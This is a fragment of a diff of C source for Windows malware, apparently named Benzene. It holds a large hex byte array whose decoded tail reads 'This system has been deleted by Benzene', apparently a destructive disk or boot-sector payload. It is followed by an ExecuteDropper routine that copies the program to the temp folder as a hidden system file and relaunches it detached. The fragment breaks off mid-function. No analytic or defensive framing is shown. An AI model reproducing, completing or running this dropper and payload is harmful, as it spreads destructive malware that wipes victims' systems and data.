0x1F, 0x2B, 0x32, 0x1D, 0xF9, 0x2C, 0x25, 0x15, 0x3C, 0x15, 0x0F, 0x32, 0x12, 0xC7, 0x22, 0x0F,
|
| 166 |
+
0x59, 0x34, 0x17, 0x2F, 0x2A, 0x26, 0xB1, 0x1C, 0x17, 0x65, 0x10, 0x1D, 0xF5, 0x1E, 0x1F, 0x7F,
|
| 167 |
+
0x16, 0x27, 0x89, 0x0C, 0x0E, 0x93, 0x18, 0x15, 0x1D, 0x36, 0x20, 0x85, 0x14, 0x23, 0x95, 0x26,
|
| 168 |
+
0x1B, 0xA1, 0x2E, 0x1C, 0xFD, 0x1E, 0x25, 0x09, 0x0E, 0x2C, 0x21, 0x2C, 0x12, 0xD3, 0x18, 0x2E,
|
| 169 |
+
0x47, 0x0E, 0x21, 0x0F, 0x10, 0x2E, 0x2D, 0x18, 0x18, 0x13, 0x10, 0x14, 0x47, 0x1E, 0x0E, 0xDB,
|
| 170 |
+
0x18, 0x10, 0x67, 0x0E, 0x0F, 0x4B, 0x2C, 0x1C, 0x2D, 0x10, 0x11, 0x67, 0x1A, 0x20, 0x89, 0x14,
|
| 171 |
+
0x22, 0x25, 0x12, 0x19, 0xD1, 0x1A, 0x20, 0xC7, 0x14, 0x0F, 0xF1, 0x1A, 0x12, 0x97, 0x24, 0x28,
|
| 172 |
+
0xEB, 0x14, 0x13, 0x15, 0x0E, 0x13, 0x7B, 0x16, 0x09, 0xE5, 0x16, 0x21, 0x1D, 0x10, 0x2D, 0xDB,
|
| 173 |
+
0x14, 0x24, 0x19, 0x14, 0x28, 0x8D, 0x0E, 0x2F, 0x0D, 0x14, 0x2A, 0xA5, 0x0A, 0x24, 0x61, 0x10,
|
| 174 |
+
0x1D, 0x1D, 0x1C, 0x21, 0xC3, 0x0A, 0x2B, 0x59, 0x1A, 0x2D, 0xC9, 0x06, 0x08, 0x85, 0x0E, 0x30,
|
| 175 |
+
0x49, 0x12, 0x05, 0x71, 0x20, 0x22, 0x21, 0x2C, 0x28, 0x83, 0x10, 0x31, 0x79, 0x12, 0x1E, 0x7F,
|
| 176 |
+
0x1C, 0x31, 0x37, 0x12, 0x31, 0xA1, 0x0E, 0x12, 0xFB, 0x16, 0x03, 0x73, 0x14, 0x0A, 0x8B, 0x12,
|
| 177 |
+
0x23, 0x2B, 0x0E, 0x32, 0x5D, 0x0E, 0x02, 0x33, 0x18, 0x30, 0xCD, 0x0A, 0x32, 0x8D, 0x0C, 0x2A,
|
| 178 |
+
0xF9, 0x0C, 0x08, 0x2D, 0x0C, 0x02, 0xA5, 0x22, 0x2B, 0x81, 0x12, 0x33, 0x05, 0x08, 0x2E, 0xB5,
|
| 179 |
+
0x1A, 0x25, 0xF1, 0x12, 0x24, 0xFF, 0x0C, 0x17, 0xF7, 0x0E, 0x32, 0x15, 0x0A, 0x33, 0x1D, 0x18,
|
| 180 |
+
0x06, 0xC7, 0x0A, 0x24, 0xA3, 0x12, 0x2B, 0x09, 0x14, 0x1D, 0xEF, 0x0C, 0x2C, 0x11, 0x20, 0x2D,
|
| 181 |
+
0xF3, 0x26, 0x08, 0xDB, 0x12, 0x06, 0x7B, 0x12, 0x0E, 0x5B, 0x18, 0x22, 0x49, 0x20, 0x27, 0x53,
|
| 182 |
+
0x24, 0x24, 0xAB, 0x1E, 0x05, 0x35, 0x16, 0x1A, 0x5B, 0x38, 0x34, 0xBB, 0x1A, 0x15, 0xC9, 0x20,
|
| 183 |
+
0x0A, 0x7B, 0x22, 0x34, 0x5F, 0x20, 0x34, 0xB3, 0x1A, 0x32, 0xE1, 0x0E, 0x12, 0xB9, 0x0E, 0x06,
|
| 184 |
+
0xC3, 0x0E, 0x32, 0xD7, 0x04, 0x32, 0xD7, 0x06, 0x34, 0xB1, 0x22, 0x06, 0x77, 0x14, 0x28, 0x81,
|
| 185 |
+
0x16, 0x1C, 0xA5, 0x2A, 0x2D, 0xB5, 0x14, 0x0F, 0x2F, 0x36, 0x35, 0x79, 0x16, 0x31, 0x0D, 0x0C,
|
| 186 |
+
0x32, 0xD9, 0x16, 0x1E, 0xF3, 0x28, 0x0F, 0xE3, 0x1C, 0x32, 0xAF, 0x0E, 0x36, 0xB5, 0x0A, 0x27,
|
| 187 |
+
0xA3, 0x18, 0x1F, 0x65, 0x16, 0x2F, 0xC3, 0x22, 0x37, 0x0D, 0x0A, 0x32, 0xDF, 0x1C, 0x31, 0x4D,
|
| 188 |
+
0x0E, 0x18, 0xEB, 0x22, 0x09, 0x1B, 0x10, 0x29, 0xF7, 0x14, 0x07, 0x39, 0x10, 0x20, 0xC7, 0x16,
|
| 189 |
+
0x37, 0xB1, 0x10, 0x03, 0x39, 0x06, 0x37, 0xC5, 0x12, 0x37, 0xDB, 0x22, 0x37, 0xFB, 0x16, 0x25,
|
| 190 |
+
0x93, 0x0C, 0x29, 0xD1, 0x12, 0x36, 0x01, 0x0E, 0x19, 0x43, 0x22, 0x30, 0xDF, 0x14, 0x30, 0xA5,
|
| 191 |
+
0x20, 0x19, 0xF3, 0x24, 0x0C, 0xD5, 0x24, 0x35, 0x5F, 0x14, 0x26, 0x53, 0x0E, 0x38, 0xFD, 0x16,
|
| 192 |
+
0x05, 0x39, 0x16, 0x27, 0xBD, 0x24, 0x24, 0xF5, 0x1C, 0x29, 0xAF, 0x26, 0x23, 0xF9, 0x18, 0x32,
|
| 193 |
+
0x27, 0x12, 0x2C, 0xC7, 0x28, 0x07, 0x55, 0x20, 0x14, 0x87, 0x32, 0x34, 0xD7, 0x20, 0x2B, 0xD1,
|
| 194 |
+
0x12, 0x1C, 0xCB, 0x1C, 0x26, 0x51, 0x10, 0x1E, 0x21, 0x10, 0x0D, 0xE9, 0x1E, 0x2A, 0xF3, 0x14,
|
| 195 |
+
0x2F, 0x09, 0x08, 0x33, 0x5B, 0x18, 0x26, 0xEB, 0x26, 0x39, 0x6D, 0x0E, 0x10, 0xA3, 0x12, 0x11,
|
| 196 |
+
0xA3, 0x1C, 0x2D, 0x15, 0x22, 0x3A, 0x19, 0x20, 0x0C, 0xBD, 0x2C, 0x22, 0x47, 0x26, 0x21, 0xA3,
|
| 197 |
+
0x20, 0x06, 0x7B, 0x14, 0x3B, 0x61, 0x12, 0x0B, 0xD3, 0x20, 0x1F, 0x69, 0x18, 0x19, 0x71, 0x10,
|
| 198 |
+
0x10, 0x0F, 0x18, 0x38, 0xDD, 0x12, 0x34, 0xBB, 0x2C, 0x14, 0x09, 0x0C, 0x28, 0x57, 0x0E, 0x24,
|
| 199 |
+
0xDF, 0x22, 0x14, 0xE3, 0x1A, 0x2F, 0x31, 0x14, 0x2D, 0x95, 0x0C, 0x15, 0x55, 0x1C, 0x3C, 0xE1,
|
| 200 |
+
0x14, 0x23, 0xCF, 0x22, 0x3C, 0x8F, 0x28, 0x26, 0x4D, 0x10, 0x2E, 0x7D, 0x1E, 0x39, 0x8D, 0x20,
|
| 201 |
+
0x3B, 0x25, 0x04, 0x36, 0x5F, 0x1E, 0x0F, 0x1B, 0x28, 0x0A, 0x21, 0x0C, 0x10, 0xDD, 0x18, 0x3C,
|
| 202 |
+
0xD5, 0x1A, 0x2F, 0x95, 0x26, 0x37, 0x39, 0x12, 0x37, 0x4D, 0x18, 0x2B, 0x57, 0x22, 0x37, 0xAD,
|
| 203 |
+
0x16, 0x38, 0x3B, 0x14, 0x09, 0x61, 0x14, 0x22, 0xF5, 0x1A, 0x38, 0x2D, 0x22, 0x3B, 0x31, 0x0C,
|
| 204 |
+
0x29, 0x85, 0x0E, 0x16, 0xCB, 0x18, 0x3F, 0xE1, 0x06, 0x30, 0x71, 0x16, 0x2B, 0x05, 0x18, 0x30,
|
| 205 |
+
0x45, 0x16, 0x12, 0xFF, 0x18, 0x19, 0x4B, 0x1E, 0x21, 0x43, 0x1C, 0x16, 0xE9, 0x0E, 0x3C, 0x21,
|
| 206 |
+
0x1C, 0x02, 0x47, 0x26, 0x21, 0x7B, 0x14, 0x3C, 0xC3, 0x16, 0x3D, 0xFB, 0x0E, 0x02, 0xA5, 0x38,
|
| 207 |
+
0x36, 0x07, 0x24, 0x03, 0x01, 0x38, 0x0B, 0x79, 0x1E, 0x1A, 0x23, 0x1C, 0x32, 0x57, 0x14, 0x3C,
|
| 208 |
+
0xF3, 0x1E, 0x41, 0xF7, 0x0E, 0x03, 0xB3, 0x3C, 0x40, 0x95, 0x0E, 0x2C, 0xB1, 0x28, 0x2B, 0x37,
|
| 209 |
+
0x0E, 0x41, 0x1D, 0x18, 0x1B, 0x43, 0x1C, 0x2A, 0xCB, 0x16, 0x40, 0x9F, 0x0C, 0x3F, 0x35, 0x10,
|
| 210 |
+
0x18, 0x11, 0x16, 0x3C, 0x8D, 0x18, 0x04, 0xC7, 0x24, 0x3A, 0x23, 0x1C, 0x2C, 0x15, 0x1E, 0x41,
|
| 211 |
+
0xFB, 0x18, 0x2E, 0x47, 0x10, 0x31, 0x9B, 0x14, 0x05, 0x61, 0x4A, 0x3D, 0x97, 0x14, 0x05, 0xBD,
|
| 212 |
+
0x2C, 0x05, 0xEB, 0x1C, 0x1C, 0xD5, 0x16, 0x34, 0x71, 0x30, 0x2E, 0x4F, 0x24, 0x3C, 0xDD, 0x26,
|
| 213 |
+
0x06, 0x97, 0x30, 0x16, 0x1D, 0x08, 0x06, 0xCF, 0x18, 0x10, 0xC3, 0x1A, 0x3E, 0x6D, 0x18, 0x27,
|
| 214 |
+
0x9D, 0x0C, 0x16, 0xC9, 0x1A, 0x45, 0x71, 0x1E, 0x43, 0xCD, 0x1A, 0x21, 0xA3, 0x22, 0x14, 0xCF,
|
| 215 |
+
0x20, 0x2D, 0x23, 0x2C, 0x07, 0xE5, 0x22, 0x81, 0x33, 0x33, 0x08, 0x2D, 0x18, 0x21, 0x4F, 0x14,
|
| 216 |
+
0x41, 0xF7, 0x18, 0x10, 0x8D, 0x1A, 0x30, 0x79, 0x12, 0x43, 0x9B, 0x16, 0x3E, 0xAD, 0x10, 0x08,
|
| 217 |
+
0x9F, 0x38, 0x32, 0xBD, 0x10, 0x0C, 0x4D, 0x10, 0x08, 0xF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
|
| 228 |
+
0x52, 0x21, 0x0E, 0x30, 0xC7, 0x0C, 0x16, 0x1B, 0x70, 0x2A, 0xD7, 0x0C, 0x45, 0x75, 0x1C, 0x17,
|
| 229 |
+
0xC7, 0x18, 0x16, 0xCB, 0x54, 0x50, 0xBD, 0x1E, 0x17, 0x3D, 0x2E, 0x3E, 0xD3, 0x24, 0x17, 0x8F,
|
| 230 |
+
0x5E, 0x52, 0x9B, 0x0C, 0x10, 0xC9, 0x20, 0x2E, 0x75, 0x24, 0x48, 0xAB, 0x1A, 0x18, 0x57, 0x82,
|
| 231 |
+
0x2D, 0x79, 0x12, 0x18, 0xEB, 0x38, 0x0A, 0x1D, 0x16, 0x57, 0x1D, 0x1C, 0x0B, 0xB5, 0x26, 0x33,
|
| 232 |
+
0xF9, 0x16, 0x02, 0x21, 0xFF, 0x03, 0x20, 0xFF, 0x04, 0x1F, 0xFF, 0x05, 0x1E, 0xFF, 0x06, 0x1D,
|
| 233 |
+
0xFF, 0x07, 0x1C, 0xFF, 0x08, 0x1B, 0xFF, 0x09, 0x1A, 0xC3, 0x83, 0xFF, 0xFF, 0xFF, 0xFF, 0x5F,
|
| 234 |
+
0xCD, 0x04, 0x5F, 0xCD, 0x08, 0x5F, 0xCD, 0x10, 0x5F, 0xE5, 0x08, 0x81, 0x22, 0x22, 0x5F, 0xCD,
|
| 235 |
+
0x28, 0x5F, 0xD0, 0x4F, 0x60, 0x49, 0x25, 0x81, 0xF2, 0x22, 0x60, 0x44, 0x3C, 0x80, 0x2F, 0x60,
|
| 236 |
+
0x96, 0x10, 0x60, 0x93, 0x04, 0x81, 0x22, 0xF2, 0x60, 0x0A, 0x3C, 0x60, 0xE7, 0x0E, 0x60, 0xE3,
|
| 237 |
+
0x04, 0x60, 0x95, 0x3E, 0x61, 0x22, 0x0E, 0x61, 0x32, 0x13, 0x81, 0xF2, 0xF2, 0x61, 0x37, 0x2C,
|
| 238 |
+
0x61, 0x83, 0x05, 0x61, 0x76, 0x09, 0x60, 0xE2, 0x05, 0x61, 0x86, 0x0C, 0x84, 0xF2, 0xF2, 0x22,
|
| 239 |
+
0x22, 0x2F, 0x60, 0xF6, 0x2E, 0x61, 0xC3, 0x0C, 0x62, 0x13, 0x07, 0x61, 0xDB, 0x0B, 0x61, 0x35,
|
| 240 |
+
0x31, 0x62, 0x13, 0x0D, 0x62, 0x21, 0x0C, 0x62, 0x2F, 0x07, 0x61, 0x37, 0x30, 0x61, 0x72, 0x04,
|
| 241 |
+
0x62, 0x80, 0x09, 0x62, 0xB6, 0x0A, 0x62, 0x7E, 0x07, 0x61, 0xE5, 0x2E, 0x62, 0xAF, 0x11, 0x63,
|
| 242 |
+
0x07, 0x09, 0x62, 0xCB, 0x3A, 0x63, 0x03, 0x0B, 0x80, 0xF2, 0x63, 0x10, 0x09, 0x63, 0x57, 0x08,
|
| 243 |
+
0x63, 0x22, 0x2B, 0x86, 0x2F, 0x22, 0x22, 0xF2, 0xF2, 0xF2, 0xF2, 0x62, 0x6B, 0x04, 0x63, 0x56,
|
| 244 |
+
0x0A, 0x63, 0xA8, 0x08, 0x63, 0x1C, 0x34, 0x63, 0xA7, 0x09, 0x82, 0x22, 0xF2, 0xF2, 0x63, 0xED,
|
| 245 |
+
0x0A, 0x63, 0xB4, 0x39, 0x62, 0xBD, 0x0B, 0x63, 0xAD, 0x12, 0x62, 0xC4, 0x08, 0x63, 0x9F, 0x05,
|
| 246 |
+
0x64, 0x60, 0x06, 0x63, 0xA2, 0x05, 0x63, 0xCD, 0x21, 0x63, 0xF9, 0x15, 0x63, 0xF2, 0x07, 0x64,
|
| 247 |
+
0x00, 0x0F, 0x64, 0x0E, 0x27, 0x64, 0x91, 0x1B, 0x64, 0xB4, 0x30, 0x64, 0xDC, 0x0A, 0x64, 0xE5,
|
| 248 |
+
0x1A, 0x80, 0x2F, 0x65, 0x07, 0x30, 0x62, 0x7B, 0x0A, 0x64, 0x9B, 0x12, 0x60, 0x5F, 0x38, 0x64,
|
| 249 |
+
0xED, 0x1A, 0x65, 0x9F, 0x2F, 0x63, 0x1A, 0x09, 0x82, 0x2F, 0x2F, 0x2F, 0x66, 0x21, 0x06, 0x82,
|
| 250 |
+
0x2F, 0x22, 0x22, 0x65, 0x39, 0x0F, 0x65, 0xF2, 0x2C, 0x65, 0x53, 0x0B, 0x64, 0x09, 0x08, 0x64,
|
| 251 |
+
0x5B, 0x04, 0x61, 0x72, 0x05, 0x66, 0x29, 0x04, 0x65, 0x38, 0x06, 0x65, 0x9F, 0x34, 0x64, 0x0C,
|
| 252 |
+
0x0A, 0x64, 0x5B, 0x05, 0x80, 0x2F, 0x62, 0x83, 0x0B, 0x65, 0x54, 0x32, 0x60, 0x37, 0x5C, 0x67,
|
| 253 |
+
0x24, 0x29, 0xFF, 0xE0, 0x32, 0x39, 0x2B, 0x34, 0x64, 0xCE, 0x62, 0x62, 0x35, 0x7E, 0x27, 0x00,
|
| 254 |
+
0x25, 0x5C, 0x22, 0x98, 0x2A, 0x26, 0x23, 0x4C, 0x26, 0xF2, 0x25, 0x93, 0x21, 0x89, 0x23, 0x56,
|
| 255 |
+
0x23, 0x00, 0x2A, 0xDF, 0x2F, 0x12, 0x27, 0x9D, 0x65, 0xFF, 0x73, 0x68, 0x68, 0xF8, 0x23, 0xAC,
|
| 256 |
+
0x26, 0xE0, 0x32, 0xE4, 0x2B, 0x4C, 0x26, 0x00, 0x25, 0x7C, 0x21, 0xF0, 0x27, 0x59, 0x2D, 0xA6,
|
| 257 |
+
0x22, 0xFB, 0x2E, 0x24, 0x2E, 0x39, 0x2B, 0xCE, 0x22, 0x93, 0x21, 0x00, 0x2A, 0xBF, 0x23, 0xD1,
|
| 258 |
+
0x31, 0xB8, 0x24, 0xF8, 0x23, 0x98, 0x2A, 0x00, 0x2A, 0xDF, 0x61, 0x7E, 0x67, 0x63, 0x72, 0xD1,
|
| 259 |
+
0x70, 0xA1, 0x63, 0x34, 0x64, 0x74, 0x24, 0x9D, 0x25, 0x99, 0x2C, 0x4C, 0xA5, 0x56, 0xA3, 0x12,
|
| 260 |
+
0xA7, 0xE4, 0xAB, 0xF8, 0x23, 0xFC, 0x61, 0x7C, 0x61, 0xA1, 0x21, 0x39, 0x2B, 0x12, 0x27, 0x4C,
|
| 261 |
+
0x26, 0x74, 0x24, 0xAD, 0x00, 0x25, 0xB8, 0x24, 0xF9, 0x22, 0xE4, 0x2B, 0x98, 0x2A, 0x99, 0x2C,
|
| 262 |
+
0x4C, 0x25, 0x7E, 0x27, 0x34, 0x24, 0xAC, 0x26, 0xBF, 0x23, 0xE0, 0x32, 0xFE, 0xA7, 0x00, 0xAA,
|
| 263 |
+
0xF8, 0x23, 0xA1, 0x21, 0xE4, 0x2B, 0x7C, 0x61, 0xA1, 0x63, 0xAC, 0x26, 0x4C, 0x25, 0x1A, 0x22,
|
| 264 |
+
0x26, 0x23, 0x68, 0x15, 0x04, 0xD1, 0x00, 0x25, 0xE0, 0x32, 0xDF, 0x2F, 0x3A, 0x22, 0x89, 0x23,
|
| 265 |
+
0x80, 0x22, 0x4C, 0x26, 0xB8, 0x24, 0x98, 0x2A, 0xAC, 0x26, 0xB1, 0x3A, 0xE8, 0x68, 0xBF, 0x23,
|
| 266 |
+
0x26, 0x23, 0x4C, 0x65, 0x32, 0x79, 0x68, 0x68, 0x98, 0x2A, 0xE0, 0x32, 0x9D, 0x25, 0xF2, 0x25,
|
| 267 |
+
0xF0, 0x27, 0xB8, 0x24, 0x89, 0x63, 0x56, 0x63, 0x12, 0x67, 0xB1, 0x3A, 0xE8, 0x28, 0x4C, 0x66,
|
| 268 |
+
0x4C, 0x65, 0x26, 0x63, 0xDF, 0x61, 0xBF, 0x63, 0x5C, 0xA2, 0xC4, 0xA1, 0x56, 0xA3, 0x9D, 0xA5,
|
| 269 |
+
0x32, 0x79, 0xAC, 0x66, 0x68, 0x28, 0x26, 0x23, 0x68, 0x79, 0x04, 0x67, 0xA7, 0x04, 0xB4, 0x12,
|
| 270 |
+
0x27, 0x89, 0x23, 0x30, 0x35, 0x4C, 0xA5, 0xF9, 0xE2, 0xDF, 0xE1, 0x34, 0xE4, 0x54, 0x68, 0x69,
|
| 271 |
+
0x73, 0x20, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x20, 0x68, 0x61, 0x73, 0x20, 0x62, 0x65, 0x65,
|
| 272 |
+
0x6E, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x6E,
|
| 273 |
+
0x7A, 0x65, 0x6E, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 274 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 275 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 276 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 277 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 278 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 279 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 280 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 281 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 282 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 283 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 284 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 285 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 286 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 287 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 288 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 289 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 290 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 291 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 292 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 293 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 294 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 295 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 296 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 297 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 298 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 299 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 300 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 301 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 302 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 303 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 304 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 305 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 306 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 307 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 308 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 309 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 310 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 311 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 312 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 313 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 314 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 315 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 316 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
| 317 |
+
};
|
| 318 |
+
|
| 319 |
+
BOOL
|
| 320 |
+
WINAPI
|
| 321 |
+
ExecuteDropper( VOID )
|
| 322 |
+
{
|
| 323 |
+
WCHAR szPath[ MAX_PATH ] = { 0 };
|
| 324 |
+
WCHAR szNewPath[ MAX_PATH ] = { 0 };
|
| 325 |
+
STARTUPINFO si = { 0 };
|
| 326 |
+
PROCESS_INFORMATION pi;
|
| 327 |
+
DWORD dwUnnamed;
|
| 328 |
+
HANDLE hFile;
|
| 329 |
+
|
| 330 |
+
GetModuleFileNameW( NULL, szPath, MAX_PATH );
|
| 331 |
+
start:
|
| 332 |
+
GetTempPathW( MAX_PATH, szNewPath );
|
| 333 |
+
|
| 334 |
+
if ( wcsncmp( szPath, szNewPath, wcslen( szNewPath ) ) )
|
| 335 |
+
{
|
| 336 |
+
WCHAR szFileName[ 17 ] = { 0 };
|
| 337 |
+
GetRandomPath( szFileName, 16 );
|
| 338 |
+
wcscat_s( szNewPath, MAX_PATH, szFileName );
|
| 339 |
+
wcscat_s( szNewPath, MAX_PATH, L".txt" );
|
| 340 |
+
|
| 341 |
+
if ( ( hFile = CreateFileW( szNewPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL ) ) == INVALID_HANDLE_VALUE )
|
| 342 |
+
{
|
| 343 |
+
RtlZeroMemory( szNewPath, MAX_PATH );
|
| 344 |
+
goto start;
|
| 345 |
+
}
|
| 346 |
+
|
| 347 |
+
while ( !WriteFile( hFile, szPath, MAX_PATH, &dwUnnamed, NULL ) )
|
| 348 |
+
{
|
| 349 |
+
Sleep( 10 );
|
| 350 |
+
}
|
| 351 |
+
|
| 352 |
+
CloseHandle( hFile );
|
| 353 |
+
|
| 354 |
+
GetTempPathW( MAX_PATH, szNewPath );
|
| 355 |
+
wcscat_s( szNewPath, MAX_PATH, szFileName );
|
| 356 |
+
wcscat_s( szNewPath, MAX_PATH, L".exe" );
|
| 357 |
+
|
| 358 |
+
while ( !CopyFileW( szPath, szNewPath, FALSE ) )
|
| 359 |
+
{
|
| 360 |
+
Sleep( 10 );
|
| 361 |
+
}
|
| 362 |
+
|
| 363 |
+
while ( !SetFileAttributesW( szNewPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM ) )
|
| 364 |
+
{
|
| 365 |
+
Sleep( 10 );
|
| 366 |
+
}
|
| 367 |
+
|
| 368 |
+
si.cb = sizeof( si );
|
| 369 |
+
CreateProcessW( szNewPath, NULL, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi );
|
| 370 |
+
CloseHandle( pi.hProcess );
|
| 371 |
+
CloseHandle( pi.hThread );
|
| 372 |
+
|
| 373 |
+
return FALSE;
|
| 374 |
+
}
|
| 375 |
+
else
|
| 376 |
+
{
|
| 377 |
+
*wcsrchr( szPath, L'.' ) = 0;
|
| 378 |
+
wcscat_s( szPath, MAX_PATH, L".txt" );
|
| 379 |
+
|
| 380 |
+
while ( ( hFile = CreateFileW( szPath, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL ) ) == INVALID_HANDLE_VALUE )
|
| 381 |
+
{
|
